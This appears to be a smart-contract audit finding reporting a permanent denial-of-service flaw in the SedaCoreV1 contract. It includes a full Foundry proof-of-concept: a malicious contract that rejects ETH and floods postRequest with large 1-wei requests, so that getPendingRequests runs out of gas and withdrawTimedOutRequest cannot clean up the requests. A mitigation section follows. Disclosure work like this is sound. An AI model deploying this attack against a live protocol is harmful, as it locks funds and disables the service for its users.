Helpful Umber Cod

High

# Permanent DoS in `SedaCoreV1` via Malicious Contract Requests

### Summary

A malicious actor can create a permanent Denial of Service(DoS) condition in `SedaCoreV1` contract. This can be done by creating a malicious contract that calls `postRequest` and creates cheap(1 wei) requests with large parameters. Also the attacker can make the malicious contract revert on receive msg.value This will prevents the cleanup of these requests by using `withdrawTimedOutRequest` or `postResult` making these requests locked in the contract forever, and making `getPendingRequest` to get OOG error cause of expensive loop iteration.

### Root Cause

The vulnerability stems from three core design flaws in the `SedaCoreV1` contract:

1. No restrictions on request creation with postRequest: The contract allows any address, including malicious contracts, to create requests with arbitrarily large parameters for minimal cost (1 wei for revert case when calling `_transferFee` to the malicious contract). There are no limits on:
   - The size of `execInputs` and `tallyInputs`
   - The number of requests a single address can create
   - Total pending requests in the system

https://github.com/sherlock-audit/2024-12-seda-protocol/blob/051b5e88a2f530792913910ebf98c50f431b1e3b/seda-evm-contracts/contracts/core/SedaCoreV1.sol#L91

2. Single-transaction cleanup mechanism: The `withdrawTimedOutRequest` function combines state cleanup with ETH transfers in a single atomic transaction. If the ETH transfer fails (which can be deliberately caused by a malicious contract that reverts on receive), the entire transaction reverts, preventing cleanup of malicious requests.

https://github.com/sherlock-audit/2024-12-seda-protocol/blob/051b5e88a2f530792913910ebf98c50f431b1e3b/seda-evm-contracts/contracts/core/SedaCoreV1.sol#L231

3. Unbounded iteration in `getPendingRequests`: The function must iterate through and process all pending requests to return results, even when using offset and limit parameters. With enough large requests in the system, this function will inevitably run out of gas regardless of the limit parameter.

https://github.com/sherlock-audit/2024-12-seda-protocol/blob/051b5e88a2f530792913910ebf98c50f431b1e3b/seda-evm-contracts/contracts/core/SedaCoreV1.sol#L290

### Internal Pre-conditions

_No response_

### External Pre-conditions

_No response_

### Attack Path

1. A malicious contract creating 58 requests with large parameters
2. Malicious contract reverting on `receive` function
3. `getPendingRequests` function failing due to out-of-gas
4. `withdrawTimedOutRequest` function failing to clean up requests cause revert on receive `msg.value`
5. Same as 4 for `postResult` function
6. DoS condition forever

### Impact

This is a High severity since this attack creates a permanent DoS condition that:

1. Makes `getPendingRequests` function permanently unusable, breaking any protocol operations that depend on it. Even with having offset and limit parameters, the function will be unusable
2. Prevents cleanup of malicious requests even after timeout period by using `withdrawTimedOutRequest` or `postResult` with a valid proof.

### PoC

For demostrating this i just created a foundry test that shows the DoS correctly and the amount of gas spent by the attacker:
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/contracts/core/SedaCoreV1.sol";
import "../src/contracts/libraries/SedaDataTypes.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "forge-std/StdUtils.sol";

// Malicious contract that creates requests but can't receive ETH
contract MaliciousRequester {
    SedaCoreV1 public sedaCore;
    bytes public largeInput;
    bytes public largeFilter;
    bytes32[] public requestIds;
    
    constructor(SedaCoreV1 _sedaCore, bytes memory _largeInput, bytes memory _largeFilter) {
        sedaCore = _sedaCore;
        largeInput = _largeInput;
        largeFilter = _largeFilter;
    }
    
    // Explicitly revert when receiving ETH to make withdrawTimedOutRequest fail
    receive() external payable {
        revert("Cannot receive ETH");
    }
    
    fallback() external payable {
        revert("Cannot receive ETH");
    }
    
    function createRequests(uint256 count) external payable {
        for (uint256 i = 0; i < count; i++) {
            string memory uniqueMemo = string.concat("Attack #", Strings.toString(i));
            
            SedaDataTypes.RequestInputs memory inputs = SedaDataTypes.RequestInputs({
                execProgramId: bytes32(uint256(i + 1)),
                execInputs: largeInput,
                execGasLimit: 8000000,
                tallyProgramId: bytes32(uint256(i + 100)),
                tallyInputs: largeInput,
                tallyGasLimit: 8000000,
                replicationFactor: 10,
                consensusFilter: largeFilter,
                gasPrice: 0,
                memo: bytes(uniqueMemo)
            });
            
            // Add a small fee to ensure the contract needs to receive ETH during withdrawal
            bytes32 requestId = sedaCore.postRequest{value: 1 wei}(inputs, 1 wei, 0, 0);
            requestIds.push(requestId);
        }
    }
    
    function getRequestId(uint256 index) external view returns (bytes32) {
        return requestIds[index];
    }
}

contract PermanentDoSTest is Test {
    SedaCoreV1 public sedaCore;
    address public owner = address(0x1);
    address public normalUser = address(0x4);
    address public sedaProver = address(0x3);
    
    // Maximize parameters to increase memory usage
    bytes public largeInput;
    bytes public largeFilter;
    
    // Timeout period in seconds
    uint256 public timeoutPeriod = 86400; // 1 day
    
    function setUp() public {
        // Deploy the implementation contract
        SedaCoreV1 implementation = new SedaCoreV1();
        
        // Deploy a proxy that delegates to the implementation
        vm.startPrank(owner);
        bytes memory initData = abi.encodeWithSelector(
            SedaCoreV1.initialize.selector,
            sedaProver,
            timeoutPeriod
        );
        
        address proxy = deployProxy(address(implementation), initData);
        sedaCore = SedaCoreV1(proxy);
        vm.stopPrank();
        
        // Create large inputs to maximize memory usage
        largeInput = bytes(generateLargeString(10000));
        largeFilter = bytes(generateLargeString(5000));
    }
    
    function generateLargeString(uint256 size) internal pure returns (string memory) {
        bytes memory result = new bytes(size);
        for (uint i = 0; i < size; i++) {
            result[i] = bytes1(uint8(65 + (i % 26)));
        }
        return string(result);
    }
    
    // Simple proxy deployment helper
    function deployProxy(address implementation, bytes memory initData) internal returns (address) {
        bytes memory code = abi.encodePacked(
            hex"3d602d80600a3d3981f3363d3d373d3d3d363d73",
            implementation,
            hex"5af43d82803e903d91602b57fd5bf3"
        );
        
        address proxy;
        assembly {
            proxy := create(0, add(code, 0x20), mload(code))
        }
        
        (bool success, ) = proxy.call(initData);
        require(success, "Initialization failed");
        
        return proxy;
    }
    
    function testPermanentDoSAttack() public {
        // Deploy malicious contract
        MaliciousRequester maliciousContract = new MaliciousRequester(
            sedaCore,
            largeInput,
            largeFilter
        );
        
        // Fund malicious contract
        vm.deal(address(maliciousContract), 10 ether);
        
        // Create enough requests to cause DoS (58 requests with large data)
        maliciousContract.createRequests{value: 1 wei}(58);
        
        console.log("Created 58 requests from malicious contract");
        
        // Verify DoS condition
        vm.startPrank(normalUser);
        try sedaCore.getPendingRequests(0, 1) {
            console.log("getPendingRequests still works (unexpected)");
        } catch {
            console.log("ATTACK SUCCESSFUL: getPendingRequests(0, 1) fails as expected");
        }
        vm.stopPrank();
        
        // Now try to clean up a request after timeout
        // Fast forward past timeout period
        vm.warp(block.timestamp + timeoutPeriod + 1);
        
        // Get first request ID
        bytes32 firstRequestId = maliciousContract.getRequestId(0);
        console.log("Attempting to withdraw timed-out request");
        
        // Try to withdraw the timed-out request
        vm.startPrank(normalUser);
        try sedaCore.withdrawTimedOutRequest(firstRequestId) {
            console.log("UNEXPECTED: Withdrawal succeeded");
        } catch Error(string memory reason) {
            console.log("Withdrawal failed with reason: %s", reason);
        } catch (bytes memory) {
            console.log("Withdrawal failed with low-level error (expected)");
            console.log("PERMANENT DOS CONFIRMED: Cannot clean up requests");
        }
        vm.stopPrank();
        
        // Verify the requestor is set correctly
        try sedaCore.getPendingRequests(0, 1) returns (ISedaCore.PendingRequest[] memory requests) {
            if (requests.length > 0) {
                console.log("Request still exists in pendingRequests");
                console.log("Requestor address: %s", requests[0].requestor);
                console.log("Malicious contract address: %s", address(maliciousContract));
            } else {
                console.log("Request was removed from pendingRequests");
            }
        } catch {
            console.log("getPendingRequests still fails");
        }
        
        // Demonstrate that even the owner can't fix the issue
        console.log("\n--- Attempting mitigation strategies ---");
        
        // 1. Try increasing the timeout period
        vm.startPrank(owner);
        console.log("1. Owner increasing timeout period to 2 days");
        sedaCore.setTimeoutPeriod(2 * 86400); // 2 days
        vm.stopPrank();
        
        // 2. Try withdrawing as the owner
        vm.startPrank(owner);
        console.log("2. Owner attempting to withdraw the request");
        try sedaCore.withdrawTimedOutRequest(firstRequestId) {
            console.log("UNEXPECTED: Owner withdrawal succeeded");
        } catch Error(string memory reason) {
            console.log("Owner withdrawal failed with reason: %s", reason);
        } catch (bytes memory) {
            console.log("Owner withdrawal failed with low-level error");
            console.log("PERMANENT DOS CONFIRMED: Even owner cannot clean up requests");
        }
        vm.stopPrank();
        
        // 3. Try pausing and unpausing the contract
        vm.startPrank(owner);
        console.log("3. Owner pausing and unpausing the contract");
        sedaCore.pause();
        sedaCore.unpause();
        vm.stopPrank();
        
        // Check if getPendingRequests still fails
        vm.startPrank(normalUser);
        try sedaCore.getPendingRequests(0, 1) {
            console.log("getPendingRequests now works (unexpected)");
        } catch {
            console.log("PERMANENT DOS CONFIRMED: getPendingRequests still fails after owner interventions");
        }
        vm.stopPrank();
        
        // Verify DoS condition still exists after timeout
        vm.startPrank(normalUser);
        try sedaCore.getPendingRequests(0, 1) {
            console.log("getPendingRequests now works (unexpected)");
        } catch {
            console.log("PERMANENT DOS CONFIRMED: getPendingRequests(0, 1) still fails after timeout");
        }
        vm.stopPrank();
        
        // Try to create a legitimate request from normal user
        vm.startPrank(normalUser);
        vm.deal(normalUser, 1 ether);
        
        SedaDataTypes.RequestInputs memory normalInput = SedaDataTypes.RequestInputs({
            execProgramId: bytes32(uint256(999)),
            execInputs: bytes("normal input"),
            execGasLimit: 100000,
            tallyProgramId: bytes32(uint256(1000)),
            tallyInputs: bytes("normal input"),
            tallyGasLimit: 100000,
            replicationFactor: 3,
            consensusFilter: bytes("normal filter"),
            gasPrice: 0,
            memo: bytes("normal request")
        });
        
        try sedaCore.postRequest(normalInput, 0, 0, 0) {
            console.log("Normal user can still create requests");
        } catch {
            console.log("SEVERE IMPACT: Normal users cannot create new requests");
        }
        vm.stopPrank();
    }
} 
```

In this test is demonstrated that an attacker can create a malicious contract that creates 58 request making the contract unusable after it.

### Mitigation

For mitigating this i recommend to focus on 2 different problems:

1. Avoiding external contract creating requests: in `postRequest` function, contracts should not be able to create request, in this way we avoid passing a malicious contract that creates unwithdrawable requests.
    1. If calling from a contract is expected, a 2 step mechanims can be added for withdrawing these fees, by pushing all the rewards to a mapping like `mapping(address => uint256) public pendingRefunds;`
    2. Withdraw these funds by using a claim function. This will make the delete and claiming process in two different steps so if a contract has a revert on receive msg.value, a user/admin will be able to delete this request no matter if it cannot receive ETH.
2. Limiting input sizes: Since thereâ€™s no limitation on the size of inputs when creating a requests in `postRequest`, an attacker can create really heavy and extensively gas consuming input for almost free, making those function more expensive everytime.
3. Adding a limit for amount of Requests: adding this bound will avoid to have too many requests going one, that can lead into DoS for the protocol. Better to have this parameter limited so also open requests can be tracked properly.